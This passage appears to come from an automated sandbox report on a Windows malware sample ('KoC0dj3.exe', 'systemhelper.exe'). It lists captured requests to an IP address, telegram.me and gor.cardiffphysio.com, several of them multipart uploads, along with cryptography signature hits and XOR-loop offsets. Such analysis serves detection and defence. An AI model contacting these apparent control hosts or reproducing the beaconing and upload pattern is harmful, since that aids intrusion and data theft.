ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /service HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "telegram" in header "GET /pr55ii HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Contains base64 string in header "keep" in header "GET /pr55ii HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Contains base64 string in header "comCache" in header "GET / HTTP/1.1Host: gor.cardiffphysio.comCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Contains base64 string in header "keep" in header "GET / HTTP/1.1Host: gor.cardiffphysio.comCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----R62HqX83gKJvN9L2s6kYCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "/success" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Language" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "8859" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Encoding" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "gzip" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "identity" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "65Connection" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "GET /success?substr=mixeleven&s=three&sub=nn HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 178.16.52.65Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "telegram" in header "GET /b0nn1r HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "keep" in header "GET /b0nn1r HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "stel" in header "GET /b0nn1r HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "telegram" in header "GET /pr55ii HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "keep" in header "GET /pr55ii HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "stel" in header "GET /pr55ii HTTP/1.1Host: telegram.meCache-Control: no-cachePragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Cookie: stel_ssid=863a31c635ca3e8793_8461380826647759634" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----hryZ0T4rdat93uEeD8zVCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----vIGaCOTMokKk1bhugfrlCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----978wuumpQ2DElikWKXJRCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----bRWaR9VdQEudMk66BzN1Cache-Control: no-cacheContent-Length: 254" Contains base64 string in header "POST" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "keep" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "0Content" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "Type" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "data" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Host: gor.cardiffphysio.comPragma: no-cacheConnection: keep-aliveUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:151.0) Gecko/20100101 Firefox/151.0Content-Type: multipart/form-data; boundary=----qd18wYWvu5pNKfpfMabnCache-Control: no-cacheContent-Length: 254"36:T658,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Reads the cryptographic machine GUID Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: HTTP request contains Base64 encoded artifacts Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Sample file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP37:T9d99,Found XOR loop in file "KoC0dj3.exe" at offset 83730; code bytes = 30d0 Found XOR loop in file "KoC0dj3.exe" at offset 166380; code bytes = 30d0 Found XOR loop in file "KoC0dj3.exe" at offset 2801640; code bytes = 30d0 Found XOR loop in file "KoC0dj3.exe" at offset 1270729; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1813807; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1824034; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1835271; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1857281; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1888639; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1892111; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1940495; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1942735; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1947491; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1953171; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1965735; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 1971023; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2032304; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2032324; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2042883; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2155740; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2197983; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2223325; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2231194; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2248864; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2273827; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2285063; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2319367; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2326623; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 2346255; code bytes = 33c1 Found XOR loop in file "KoC0dj3.exe" at offset 174102; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 210377; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 210737; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 211137; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 213299; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 235633; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 255760; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 397061; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 397757; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 398398; code bytes = 8030 Found XOR loop in file "KoC0dj3.exe" at offset 3099488; code bytes = 8030 Found XOR loop in file "systemhelper.exe" at offset 116795; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 260845; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 320157; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 320735; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 408105; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 435921; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 650939; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 658512; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 687379; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 904496; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 913316; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 936874; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1063069; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1135850; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1144355; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1169317; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1173147; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1228021; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1243886; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1277154; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1281650; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1388747; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1512962; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1548010; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1587028; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1734666; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1770296; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1868525; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1919295; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1936103; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1945168; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1969051; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 1988755; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 2050013; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 2102130; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 2175759; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 2213905; code bytes = 30d0 Found XOR loop in file "systemhelper.exe" at offset 57212; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 74271; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 74538; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 126615; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 130454; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 313753; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 317301; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 341122; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 413599; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 443534; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 565512; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 643126; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 691393; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 744674; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 811308; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 814968; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1151581; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1198276; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1278790; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1354378; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1364032; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1391052; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1415775; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1507253; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1541481; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1653947; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1716920; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1801653; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1867154; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 1937542; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 2005075; code bytes = 33c1 Found XOR loop in file "systemhelper.exe" at offset 2059150; code bytes = 33c1 Found XOR loop 